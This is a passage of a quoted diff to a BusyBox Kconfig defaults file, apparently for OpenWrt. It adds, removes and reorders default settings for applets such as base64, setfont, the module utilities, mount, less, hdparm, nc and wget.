> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_UNIQ
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UNLINK
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_USLEEP
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_UUDECODE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_BASE64
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UUENCODE
>   	bool
>   	default n
> @@ -808,6 +826,12 @@ config BUSYBOX_DEFAULT_WC
>   config BUSYBOX_DEFAULT_FEATURE_WC_LARGE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_WHO
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_USERS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_WHOAMI
>   	bool
>   	default n
> @@ -826,15 +850,9 @@ config BUSYBOX_DEFAULT_FEATURE_AUTOWIDTH
>   config BUSYBOX_DEFAULT_FEATURE_HUMAN_READABLE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_CHVT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FGCONSOLE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_CLEAR
>   	bool
>   	default y
> @@ -844,12 +862,30 @@ config BUSYBOX_DEFAULT_DEALLOCVT
>   config BUSYBOX_DEFAULT_DUMPKMAP
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FGCONSOLE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_KBD_MODE
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LOADFONT
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SETFONT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LOADKMAP
>   	bool
>   	default n
> @@ -871,15 +907,6 @@ config BUSYBOX_DEFAULT_SETCONSOLE
>   config BUSYBOX_DEFAULT_FEATURE_SETCONSOLE_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETFONT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> -	string
> -	default ""
>   config BUSYBOX_DEFAULT_SETKEYCODES
>   	bool
>   	default n
> @@ -889,12 +916,6 @@ config BUSYBOX_DEFAULT_SETLOGCONS
>   config BUSYBOX_DEFAULT_SHOWKEY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_MKTEMP
>   	bool
>   	default y
> @@ -1081,10 +1102,10 @@ config BUSYBOX_DEFAULT_FEATURE_FIND_LINKS
>   config BUSYBOX_DEFAULT_GREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
> +config BUSYBOX_DEFAULT_EGREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
> +config BUSYBOX_DEFAULT_FGREP
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
> @@ -1120,6 +1141,12 @@ config BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_CONFIG_FILE
>   config BUSYBOX_DEFAULT_HALT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_POWEROFF
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_REBOOT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
>   	bool
>   	default n
> @@ -1285,28 +1312,28 @@ config BUSYBOX_DEFAULT_LSATTR
>   config BUSYBOX_DEFAULT_TUNE2FS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MODINFO
> +config BUSYBOX_DEFAULT_MODPROBE_SMALL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MODPROBE_SMALL
> +config BUSYBOX_DEFAULT_DEPMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +config BUSYBOX_DEFAULT_INSMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +config BUSYBOX_DEFAULT_LSMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSMOD
> +config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RMMOD
> +config BUSYBOX_DEFAULT_MODINFO
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LSMOD
> +config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
> +config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_MODPROBE
> @@ -1315,7 +1342,7 @@ config BUSYBOX_DEFAULT_MODPROBE
>   config BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_DEPMOD
> +config BUSYBOX_DEFAULT_RMMOD
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_2_4_MODULES
> @@ -1354,154 +1381,148 @@ config BUSYBOX_DEFAULT_DEFAULT_MODULES_DIR
>   config BUSYBOX_DEFAULT_DEFAULT_DEPMOD_FILE
>   	string
>   	default ""
> -config BUSYBOX_DEFAULT_BLKDISCARD
> +config BUSYBOX_DEFAULT_ACPID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BLOCKDEV
> +config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FATATTR
> +config BUSYBOX_DEFAULT_BLKDISCARD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSTRIM
> +config BUSYBOX_DEFAULT_BLKID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MDEV
> +config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> +config BUSYBOX_DEFAULT_BLOCKDEV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> +config BUSYBOX_DEFAULT_DMESG
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> +	default y
> +config BUSYBOX_DEFAULT_FATATTR
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> +config BUSYBOX_DEFAULT_FBSET
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MOUNT
> +config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> +config BUSYBOX_DEFAULT_FDFORMAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> +config BUSYBOX_DEFAULT_FDISK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> +config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> +config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NSENTER
> +config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> +config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_REV
> +config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETARCH
> +config BUSYBOX_DEFAULT_FINDFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UEVENT
> +config BUSYBOX_DEFAULT_FLOCK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UNSHARE
> +config BUSYBOX_DEFAULT_FDFLUSH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_ACPID
> +config BUSYBOX_DEFAULT_FREERAMDISK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
> +config BUSYBOX_DEFAULT_FSCK_MINIX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BLKID
> +config BUSYBOX_DEFAULT_FSTRIM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
> +config BUSYBOX_DEFAULT_GETOPT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_DMESG
> +config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
> +	default n
> +config BUSYBOX_DEFAULT_HEXDUMP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FBSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
> +config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
> +config BUSYBOX_DEFAULT_HD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDFLUSH
> +config BUSYBOX_DEFAULT_HWCLOCK
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FDFORMAT
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDISK
> +config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
> +config BUSYBOX_DEFAULT_IPCRM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
> +config BUSYBOX_DEFAULT_IPCS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
> +config BUSYBOX_DEFAULT_LOSETUP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
> +config BUSYBOX_DEFAULT_LSPCI
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
> +config BUSYBOX_DEFAULT_LSUSB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
> +config BUSYBOX_DEFAULT_MDEV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FINDFS
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLOCK
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FREERAMDISK
> +config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSCK_MINIX
> +config BUSYBOX_DEFAULT_MKE2FS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_MKFS_EXT2
> @@ -1516,55 +1537,55 @@ config BUSYBOX_DEFAULT_FEATURE_MINIX2
>   config BUSYBOX_DEFAULT_MKFS_REISER
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MKFS_VFAT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_GETOPT
> +config BUSYBOX_DEFAULT_MKDOSFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
> +config BUSYBOX_DEFAULT_MKFS_VFAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HEXDUMP
> +config BUSYBOX_DEFAULT_MKSWAP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
> +config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HD
> +config BUSYBOX_DEFAULT_MORE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HWCLOCK
> +config BUSYBOX_DEFAULT_MOUNT
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IPCRM
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_IPCS
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LOSETUP
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LSPCI
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_LSUSB
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_MKSWAP
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
> +config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MORE
> +config BUSYBOX_DEFAULT_NSENTER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_PIVOT_ROOT
> @@ -1579,6 +1600,9 @@ config BUSYBOX_DEFAULT_RDEV
>   config BUSYBOX_DEFAULT_READPROFILE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_REV
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_RTCWAKE
>   	bool
>   	default n
> @@ -1588,24 +1612,42 @@ config BUSYBOX_DEFAULT_SCRIPT
>   config BUSYBOX_DEFAULT_SCRIPTREPLAY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SWAPONOFF
> +config BUSYBOX_DEFAULT_SETARCH
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_LINUX32
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_LINUX64
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SWAPON
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SWAPOFF
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_SWITCH_ROOT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UEVENT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UMOUNT
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_UMOUNT_ALL
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UNSHARE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP
>   	bool
>   	default y
> @@ -1678,112 +1720,13 @@ config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SQUASHFS
>   config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SYSV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CONSPY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CROND
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_CROND_D
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> -	string
> -	default "/etc"
> -config BUSYBOX_DEFAULT_I2CGET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CDUMP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_I2CDETECT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_LESS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> -	int
> -	default 9999999
> -config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_NANDWRITE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_NANDDUMP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_RFKILL
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETSERIAL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_TASKSET
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIATTACH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIDETACH
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIMKVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRMVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRSVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIUPDATEVOL
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UBIRENAME
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WALL
> +config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_ADJTIMEX
> @@ -1831,6 +1774,21 @@ config BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
>   config BUSYBOX_DEFAULT_CHRT
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_CONSPY
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CROND
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CROND_D
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
> +	string
> +	default "/etc"
>   config BUSYBOX_DEFAULT_CRONTAB
>   	bool
>   	default y
> @@ -1867,7 +1825,7 @@ config BUSYBOX_DEFAULT_FEATURE_EJECT_SCSI
>   config BUSYBOX_DEFAULT_FBSPLASH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLASHCP
> +config BUSYBOX_DEFAULT_FLASH_ERASEALL
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FLASH_LOCK
> @@ -1876,40 +1834,85 @@ config BUSYBOX_DEFAULT_FLASH_LOCK
>   config BUSYBOX_DEFAULT_FLASH_UNLOCK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FLASH_ERASEALL
> +config BUSYBOX_DEFAULT_FLASHCP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_IONICE
> +config BUSYBOX_DEFAULT_HDPARM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CGET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CSET
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CDUMP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_I2CDETECT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_INOTIFYD
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_IONICE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LAST
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HDPARM
> +config BUSYBOX_DEFAULT_LESS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
> +	int
> +	default 9999999
> +config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
> +config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
> +config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
> +config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
> +config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LOCK
> @@ -1936,91 +1939,79 @@ config BUSYBOX_DEFAULT_MOUNTPOINT
>   config BUSYBOX_DEFAULT_MT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RAIDAUTORUN
> +config BUSYBOX_DEFAULT_NANDWRITE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_READAHEAD
> +config BUSYBOX_DEFAULT_NANDDUMP
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RUNLEVEL
> +config BUSYBOX_DEFAULT_RAIDAUTORUN
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RX
> +config BUSYBOX_DEFAULT_READAHEAD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETSID
> +config BUSYBOX_DEFAULT_RFKILL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_STRINGS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_TIME
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_TIMEOUT
> +config BUSYBOX_DEFAULT_RUNLEVEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TTYSIZE
> +config BUSYBOX_DEFAULT_RX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_VOLNAME
> +config BUSYBOX_DEFAULT_SETSERIAL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WATCHDOG
> +config BUSYBOX_DEFAULT_SETSID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NAMEIF
> +config BUSYBOX_DEFAULT_STRINGS
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> +	default y
> +config BUSYBOX_DEFAULT_TASKSET
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NBDCLIENT
> +config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC
> +config BUSYBOX_DEFAULT_TIME
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_NC_SERVER
> +config BUSYBOX_DEFAULT_TIMEOUT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC_EXTRA
> +config BUSYBOX_DEFAULT_TTYSIZE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NC_110_COMPAT
> +config BUSYBOX_DEFAULT_UBIATTACH
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PING
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_PING6
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +config BUSYBOX_DEFAULT_UBIDETACH
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_WGET
> +	default n
> +config BUSYBOX_DEFAULT_UBIMKVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +config BUSYBOX_DEFAULT_UBIRMVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +config BUSYBOX_DEFAULT_UBIRSVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_UBIUPDATEVOL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +config BUSYBOX_DEFAULT_UBIRENAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +config BUSYBOX_DEFAULT_VOLNAME
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +config BUSYBOX_DEFAULT_WALL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WHOIS
> +config BUSYBOX_DEFAULT_WATCHDOG
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_IPV6
> @@ -2056,19 +2047,16 @@ config BUSYBOX_DEFAULT_DNSD
>   config BUSYBOX_DEFAULT_ETHER_WAKE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FAKEIDENTD
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_FTPD
